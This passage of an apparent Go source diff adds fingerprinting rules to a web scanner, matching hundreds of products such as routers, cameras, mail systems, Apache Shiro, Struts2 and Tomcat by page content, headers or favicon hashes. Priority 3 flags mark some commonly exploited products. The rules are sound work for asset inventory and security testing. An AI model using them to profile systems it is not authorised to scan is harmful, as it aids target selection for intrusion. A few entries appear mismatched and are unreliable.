ReqHttp{"", "", nil, ""}}, + {1, "263-Enterprise-Mailbox", "body", "", InStr{"(net263.wm.custom_login.homepage_init|/custom_login/js/net263_wm_util.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "263-HRM", "body", "", InStr{"(

请使用263em登陆!

)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "263-Meeting", "body", "", InStr{"(|263电话会议)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "30san-Email", "body", "", InStr{"(30san.all rights reserved.)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "315soft-FileSystem", "body", "", InStr{"(>多可电子档案管理系统360)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-SecFox", "body", "", InStr{"(id=mtokenplugin width=0 height=0 style=\"position: absolute;left: 0px; top: 0px\"|type=application/x-xtx-axhost|document.getelementbyid('pic').src|class=\"secfox-login-browser-continue\"|

欢迎您使用网神secfox日志收集与分析系统)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-Secure-routing", "body", "", InStr{"(360loginflag)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-Skyeye", "body", "", InStr{"(/index.bundle.872998a4.js|src=\"/static/img/skyeye-logo-big.png\">)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-TianJi", "body", "", InStr{"(src=\"/resource/img/login/logo_403.png\" alt=\"360天机\"/>)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-TianQing", "body", "", InStr{"(/task/index/detail?id={item.id}|已过期或者未授权,购买请联系4008-136-360)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-Total-Security", "header", "", InStr{"", "(x-safe-firewall)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360vision-Cameras-and-Surveillance", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-Webmaster-Platform", "body", "", InStr{"(360-site-verification)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360-Webscan", "body", "", InStr{"(webscan.360.cn/status/pai/hash)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "360WiFi-Expander", "body", "", InStr{"(id=\"slogan\">欢迎使用360wifi扩展器)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "365webcall", "body", "", InStr{"(src='http://www.365webcall.com/imme1.aspx?)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "365xxy-Examing", "body", "", InStr{"(href=https://unpkg.com/element-ui/lib/theme-chalk/index.css|云时政在线考试系统)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3-byte-invalid-favicon", "ico", "", InStr{"", "", "(ecaa88f7fa0bf610a5a26cf545dcd3aa)"}, ReqHttp{"", "", nil, ""}}, + {1, "3Com-3CDSG8", "body", "", InStr{"(content=\" 3cdsg8\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3Com-NJ2000", "body", "", InStr{"(content=\"3com intellijack nj2000\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3CX-Phone-System-Management-Console", "body", "", InStr{"(src=\"/public/vendor.26422846c5ea381c.js\"|src=\"/public/app.807e10d98cfac19e.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3dcart", "body|header", "or", InStr{"(powered by 3dcart|)", "(3dvisit)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3D-portrait-integrated-data-gate", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3dusoft-eSalerSalesSystem", "body", "", InStr{"(青岛叁度信息技术有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "3KITS-CMS", "body", "", InStr{"(href=\"http://www.3kits.com\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "42Gears-SureMDM", "body", "", InStr{"(suremdm|astrocontacts)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "53kf", "header", "", InStr{"", "(customer_service_language)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "54-Customer-service", "body", "", InStr{"(src=\"http://code.54kefu.net/)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "5iKQ", "body", "", InStr{"(content=\"我爱考勤云平台|我爱考勤云平台|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "5k-CRM", "body", "", InStr{"(/public/js/5kcrm.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "5VTechnologies-BlueAngelSoftwareSuite", "body", "", InStr{"(/cgi-bin/webctrl.cgi?action=index_page)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "6kbbs", "body", "", InStr{"(powered by 6kbbs|generator\" content=\"6kbbs)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "74CMS", "body", "", InStr{"(content=\"74cms.com|content=\"骑士cms|powered by actiontec mi424wr)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "activeCollab", "body", "", InStr{"(powered by activecollab|

location.href=\"ucenter\";)", "(path=/ucenter/; secure; httponly)", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Acunetix", "body", "", InStr{"(logo.src = 'assets/images/acunetix-logo-full-new-black.svg'|title>Acunetix|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adaptec-maxView", "body", "", InStr{"(action=\"/maxview/manager/login.xhtml)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adcon-Telemetry-Gateway", "body|header", "or", InStr{"(adcon telemetry gmbh;|welcome to the a840 telemetry gateway!)", "(addupi)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AdiMoney", "body", "", InStr{"(\"adimoney\"/|content=\"adimoney.com mobile advertisement network. )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adiscon-LogAnalyzer", "body", "", InStr{"(adiscon loganalyzer|adiscon gmbh)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADN", "body", "", InStr{"(交付应用|src=\"http://res.wx.qq.com/open/js/jweixin)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-Connect", "header", "", InStr{"", "(breezesession=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-CQ5", "body", "", InStr{"(_jcr_content)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-Experience-Manager", "body", "", InStr{"(adobe experience manager| class=\"coral-heading coral-heading--1\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-Flex", "body", "", InStr{"(learn more about flex at http://flex.org)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-GoLive", "body", "", InStr{"(generator\" content=\"adobe golive)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-Magento", "body|header", "or", InStr{"(magento, varien, e-commerce)", "(redkiwi-cloud)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-RoboHelp", "body", "", InStr{"(generator\" content=\"adobe robohelp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "adslr-NFW", "body", "", InStr{"(href=\"/css/cover_admin.css\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "adslr-Router", "body", "", InStr{"(href=\"css/r1login.css\"|src=\"chinesehl.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "adslr-Router", "body", "", InStr{"(/img/r1/favicon.ico)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADT-IAM", "body", "", InStr{"(content=\"tpn,vpn,内网安全,内网控制,主机防护\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADTRAN-MX408e", "header", "", InStr{"", "(realm=\"adtran mx408e)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADT-SJW74-VPN", "body", "", InStr{"(src=\"./system/usbkey.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADT-TPN-2G", "body", "", InStr{"(src=\"./system/usbkey.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADVA-FSP", "body", "", InStr{"(var gtitle = 'adva fsp )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Advanced-Electron-Forum", "body", "", InStr{"(powered by aef)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Advantech-LR77", "header", "", InStr{"", "(lr77-v2)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Advantech-WebAccess", "body", "", InStr{"(/bw_templete1.dwt|/broadweb/webaccessclientsetup.exe|/broadweb/bwuconfig.asp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADVANTECH-WISE-3610", "body", "", InStr{"(/advantech/advantech/css/main.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "advantech_WISE", "body", "", InStr{"(remote manage your intelligent systems)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AdviserLogicCli", "body", "", InStr{"(navigator.serviceworker.register('/adviserlogiccache.js'))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aethra-Telecommunications-OS", "header", "", InStr{"", "(atos)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AfterLogic-WebMail", "header", "", InStr{"", "(phpwebmailsessid)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AgileBPM", "body", "", InStr{"(class=\"logo-element\">bpm|class=\"logo-element\">agile-bpm)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "agora.cgi", "body", "", InStr{"(/agora.cgi?product=|/store/agora.cgi)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aipstar-Cameras-and-Surveillance", "body", "", InStr{"(window.location.href = \"login.html\";)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirCam-Cameras-and-Surveillance", "header", "", InStr{"", "(realm=\"aircam |realm=\"airlive bu-)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLink-AIC250", "header", "", InStr{"", "(realm=\"aic250)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLink-modem", "header", "", InStr{"", "(modem@airlink.com)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLink-SkyIPCam", "header", "", InStr{"", "(realm=\"skyipcam)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLink-WL-2600CAM", "header", "", InStr{"", "(realm=\"wl-2600cam)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLive-ARM-204", "header", "", InStr{"", "(realm=\"airlive arm-204)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLive-Firmware&Driver", "header", "", InStr{"", "(airlive airmax5|airlive airmax2)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLive-Modem", "header", "", InStr{"", "(realm=\"airlive arm-|realm=\"airlive arm201)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLive-POE-HDwebcam", "body", "", InStr{"(js/variable_6.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLive-Wireless-Device", "header", "", InStr{"", "(realm=\"airlive wl-|realm=\"airlive g.duo)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirOS", "header", "", InStr{"", "(airos_sessionid|cookiechecker?uri=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aisino-Telecom", "body", "", InStr{"(航天信息股份有限公司 电信行业版)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AJA-Video-Converter", "body", "", InStr{"(eparamid_swversion)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Ajenti-Server-Admin-Panel", "body", "", InStr{"(src=\"/ajenti:static/|action=\"/ajenti:auth\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Akamai-CDN", "header", "", InStr{"", "(server: akamaighost|akamai-ip: )", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Akiva-WebBoard", "body", "", InStr{"(powered by webboard)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ALCASAR", "body", "", InStr{"(valoriserdiv5)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-7250", "header", "", InStr{"", "(realm=\"alcatel-lucent 7250)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-Enterprise-gateway", "body", "", InStr{"(欢迎登陆alcatel-lucent企业网关

请输入用户名和密码,3次出错将被锁定

|alcatel-lucent)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-IP1020", "header", "", InStr{"", "(realm=\"alcatel ip1020)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-Omniswitch", "header", "", InStr{"", "(/web/content/login.html|agranat-emweb)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OmniVista-Cirrus", "body", "", InStr{"(/help/en-us/others/ov-cirrus_cookiepolicy.html)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS10K", "body", "", InStr{"(device os10k)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6560-24X4", "body", "", InStr{"(device os6560-24x4)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6560-P24X4", "body", "", InStr{"(device os6560-p24x4)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6560-P48X4", "body", "", InStr{"(device os6560-p48x4)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860-24", "body", "", InStr{"(device os6860-24)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860-48", "body", "", InStr{"(device os6860-48)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860E-24", "body", "", InStr{"(device os6860e-24)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860E-48", "body", "", InStr{"(device os6860e-48)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860E-P24", "body", "", InStr{"(device os6860e-p24)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860E-P48", "body", "", InStr{"(device os6860e-p48)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860-P24", "body", "", InStr{"(device os6860-p24)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860-P48", "body", "", InStr{"(device os6860-p48)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860U-28", "body", "", InStr{"(device os6860u-28)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6865-P16X", "body", "", InStr{"(device os6865-p16x)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6865-U12X", "body", "", InStr{"(device os6865-u12x)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6900-T20", "body", "", InStr{"(device os6900-t20)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6900-T40", "body", "", InStr{"(device os6900-t40)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6900-X20", "body", "", InStr{"(device os6900-x20)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6900-X40", "body", "", InStr{"(device os6900-x40)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6900-X72", "body", "", InStr{"(device os6900-x72)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS9900", "body", "", InStr{"(device os9900)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ALERTMANAGER", "body", "", InStr{"(defaultcreator)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alexander-Palmo-Simple-PHP-Blog", "ico", "", InStr{"", "", "(a7947b1675701f2247921cf4c2b99a78)"}, ReqHttp{"", "", nil, ""}}, + {1, "Alibaba-Group-DMS", "body", "", InStr{"(copyright © dms all rights reserved (alibaba 数据管理产品))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alibaba-Group-TLog", "body", "", InStr{"(content=\"tlog 实时数据处理)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Ali-Monitoring-System", "body", "", InStr{"(/monitor/css/monitor.css|href=\"/monitor/monitoritem/monitoritemlist.htm)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AliyunCDN", "body", "", InStr{"(cdn.aliyuncs.com)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AliyunCDN", "header", "", InStr{"", "(cdn.aliyuncs.com)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aliyun-Cloud-shield", "header", "", InStr{"", "(set-cookie: yundun_404)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AliyunOSS", "header", "", InStr{"", "(server: aliyunoss|x-oss-request-id)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ALIYUN-RDS-API", "body", "", InStr{"(href=\"system!stat.jspa)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aliyun-RDS", "body", "", InStr{"(class=\"legend\">rds管理系统)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alliance-Web-Platform", "body", "", InStr{"(window.location = \"/swp/group/admin\";)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alpha-Five", "header", "", InStr{"", "(alpha five|a5wsessionid)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alstom-ALSPA®Care", "body", "", InStr{"(asp/images/s8000plus.gif)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Amazon-ECS", "header", "", InStr{"", "(x-amz-error-)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AMCREST-camera", "body", "", InStr{"(amcrest|w_cloudcurver|onclick=\"chkalarmsound()|id=\"play_alarm_sound|amcrest technologies)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AMI-IMM", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AMI-MegaRAC-SP", "body", "", InStr{"(ami megarac sp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AMI-MegaRAC-SPX", "body", "", InStr{"(ami megarac spx)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AMI-SPX", "body", "", InStr{"(ami spx)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Ampache", "ico", "", InStr{"", "", "(2e9545474ee33884b5fb8a9a0b8806dd)"}, ReqHttp{"", "", nil, ""}}, + {1, "AMPLESKY-Company's-product", "body", "", InStr{"(var fullmessage = \"天地阳光通信科技(北京)有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "aMule", "ico", "", InStr{"", "", "(99306a52c76e19e3c298a46616c5899c)"}, ReqHttp{"", "", nil, ""}}, + {1, "Android-Webcam-Server", "header", "", InStr{"", "(server: android webcam server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ANECMS", "body", "", InStr{"(content=\"erwin aligam - ealigam@gmail.com)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AnHuiWAF", "header", "", InStr{"", "(protected-by: anhui web firewall)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ANIMATI-PACS", "body", "", InStr{"(

版权所有:上海安脉计算机科技有限公司|id=\"lblname1\">版权所有:上海安脉计算机科技有限公司|上海安脉计算机科技有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ANNECA-InTouch-CRM", "body", "", InStr{"(href=\"http://www.anneca.cz\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Anta-ASG", "body", "", InStr{"(setcookie(\"asglanguage\",document.form1.planguage.value))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Ant docs manual", "ico", "", InStr{"", "", "(032ecc47c22a91e7f3f1d28a45d7f7bc|2d4cca83cf14d1adae178ad013bdf65b)"}, ReqHttp{"", "", nil, ""}}, //{"Ant docs (1.7.1) / libjakarta-poi-java (3.0.2)", "ico", "", InStr{"", "", "()"}, ReqHttp{"", "", nil, ""}}, + {1, "AnyGate", "body", "", InStr{"(/anygate.php)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AnyGate", "header", "", InStr{"", "(anygate)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AnyGate-RG5500N", "body", "", InStr{"(td class=\"right\">rg5500n)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AnyMacro", "body", "", InStr{"(document.aa.f_email)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AnyMacro", "header", "", InStr{"", "(login_key)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AnZuWAF", "header", "", InStr{"", "(anzuwaf)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "aolansoft-StudentSystem", "body", "", InStr{"(vcode.aspx)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AOLserver", "header", "", InStr{"", "(aolserver)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apabi-Digital-resource-platform", "body", "", InStr{"(Welcome to the Apache ActiveMQ!)", "(realm=\"activemqrealm)", "05664fb0c7afcd6436179437e31f3aa6"}, ReqHttp{"", "", nil, ""}}, + {1, "Apahce-Airflow", "body", "", InStr{"(src=\"/static/pin_100.png\"|airflow)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-Cocoon", "header", "", InStr{"", "(x-cocoon-version)", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apahce-Dubbo", "header", "", InStr{"", "( basic realm=\"dubbo\")", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-Flink", "body", "", InStr{"(Apache Flink Web Dashboard||\"apachethe apache haus)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apache", "header", "", InStr{"", "(Server: Apache(.*))", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apahce-Kylin", "body", "", InStr{"(href=\"/kylin/\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-Mesos", "body", "", InStr{"(href=\"/static/css/mesos.css|\"apache)", "", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-OFBiz", "body|header", "", InStr{"(Apache OFBiz|apache.ofbiz)", "(Set-Cookie: OFBiz.Visitor=)", ""}, ReqHttp{"GET", "/myportal/control/main", nil, ""}}, + {1, "Apache-on-Linux", "ico", "", InStr{"", "", "(FF2C8612B75B5F9A6175E016FE4AA609)"}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-on-Mac_OS_X", "ico", "", InStr{"", "", "(73778a17b0d22ffbb7d6c445a7947b92)"}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-on-Red-Hat/Fedora", "ico", "", InStr{"", "", "(d99217782f41e71bcaa8e663e6302473)"}, ReqHttp{"", "", nil, ""}}, + {1, "Apahce-Oozie-Web-Console", "body", "", InStr{"(oozie-console|href=\"/oozie\">oozie console)", "", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-RocketMQ", "body|header", "or", InStr{"(title>RocketMq(.*))", "(X-Application-Context: rocketmq-console(.*))", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-Shiro", "header|body", "or", InStr{"( shiro)", "(rememberMe=|=deleteMe|shiro-cas)", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-Solr", "body|ico", "or", InStr{"(SolrCore Initialization Failures|ng-app=\"solrAdminApp\")", "", "(69acfcb2659952bc37c54108d52fca70|ffc05799dee87a4f8901c458f7291d73)"}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-Spark ", "body|ico", "or", InStr{"(src=\"/static/spark-logo(.*)\\.png\"|spark://)", "", "\""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-Struts2", "body|header", "and", InStr{"(struts problem report|there is no action mapped for namespace|no result defined for action and result input|||(.*)\\.action|(.*)\\.do)", "(jsessionid)", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-Tomcat", "body|ico", "or", InStr{"(href=\"tomcat.css|tomcat.apache.org|this is the default tomcat home page|

apache tomcat|Tomcat Setup|If you're seeing this, you've successfully installed Tomcat. Congratulations!|this is the default tomcat home page|tomcat.apache.org|href=\\\"tomcat.css)", "", "(d80e364c0d3138c7ecd75bf9896f2cad|4644f2d45601037b8423d45e13194c93)"}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-Traffic-Server", "header", "", InStr{"", "(apachetrafficserver)", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apahce-Unomi", "body", "", InStr{"(logo apache unomi)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-Wicket", "body", "", InStr{"(xmlns:wicket=|/org.apache.wicket.)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "APC-InfraStruxure", "header", "", InStr{"", "(realm=\"infrastruxure)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "APC-Management", "body", "", InStr{"(this object on the apc management web server is protected)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "APC-UPS-Management-Card", "body", "", InStr{"(class=\"apclogo\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "APC-UPS-Management-Card", "header", "", InStr{"", "(apc management card|network management card)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "APD-Cameras-and-Surveillance", "body", "", InStr{"(var listenport = 6002;|lg_body_iptpsw)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "apereo-CAS", "body", "", InStr{"(cas – central authentication service)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "apex-LiveBPM", "body", "", InStr{"(href=\"/plug-in/login/fixed/css/login.css\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "apilayer-Caddy", "header", "", InStr{"", "(server: caddy)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AppCMS", "body", "", InStr{"(powerd by appcms)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "appex-lotapp", "body", "", InStr{"(appex network corporation|/change_lan.php?lanid=en)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ApPHP-Calendar", "body", "", InStr{"(this script was generated by apphp calendar)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AppServ", "body", "", InStr{"(appserv/softicon.gif|index.php?appservlang=th)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AP-Router", "header", "", InStr{"", "(basic realm=\"ap-router\")", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apusic", "body", "", InStr{"(管理apusic应用服务器)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apusic", "header", "", InStr{"", "(server: apusic application server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Arab-Portal", "body", "", InStr{"(powered by: arab)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ArcGIS", "body", "", InStr{"(action=\"/arcgismanager/main/login.jsf)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Arcor-DSL-Modem", "header", "", InStr{"", "(realm=\"arcor-dsl wlan-modem)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ArGoSoft-Mail-Server", "body", "", InStr{"(argosoft mail server plus for)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ArrayNetworks-Company's-product", "header", "", InStr{"", "(realm=\"array networks webui)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ARRIS-Netopia-Router", "header", "", InStr{"", "(realm=\"netopia-|netopia-payments.)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ARRIS-Touchstone", "body", "", InStr{"(passwithwarnings)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Arris Touchstone Device", "ico", "", InStr{"", "", "(a8fe5b8ae2c445a33ac41b33ccc9a120)"}, ReqHttp{"", "", nil, ""}}, + {1, "ArticlePublisherPRO", "body", "", InStr{"(www.articlepublisherpro.com|content=\"article publisher pro)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aruba-Device", "body", "", InStr{"(/images/arubalogo.gif|aruba networks)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aruba-Network-Devices", "ico", "", InStr{"", "", "(dc0816f371699823e1e03e0078622d75)"}, ReqHttp{"", "", nil, ""}}, + {1, "ArubaOS", "body", "", InStr{"(/screens/wms/wms.login)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ArvanCloud", "header", "", InStr{"", "(ar-poweredby: arvan cloud|server: arvancloud)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASP168-OHO", "body", "", InStr{"(upload/moban/images/style.css|default.php?mod=article&do=detail&tid)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASPCMS", "body", "", InStr{"(content=\"aspcms|/inc/aspcms_advjs.asp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "aspentech-ASPEN-InfoPlus.21", "body", "", InStr{"(src=\"/aspencui/css/appstyles.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASP", "header", "", InStr{"", "(x-powered-by: asp)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASProxy", "body", "", InStr{"(surf the web invisibly using asproxy power|btnasproxydisplaybutton)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Association-of-Liberal-Democrat-Councillors-web-hosting", "ico", "", InStr{"", "", "(35C5093C70B822D05219AF50F95FC546)"}, ReqHttp{"", "", nil, ""}}, + {1, "Astaro-Command-Center", "body", "", InStr{"(/js/_variables_from_backend.js?|commandcenter)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Astaro-Security-Gateway", "body", "", InStr{"(/acc_aggregated_reporting.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-AiCloud", "body", "", InStr{"(href=\"/smb/css/startup.png\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, 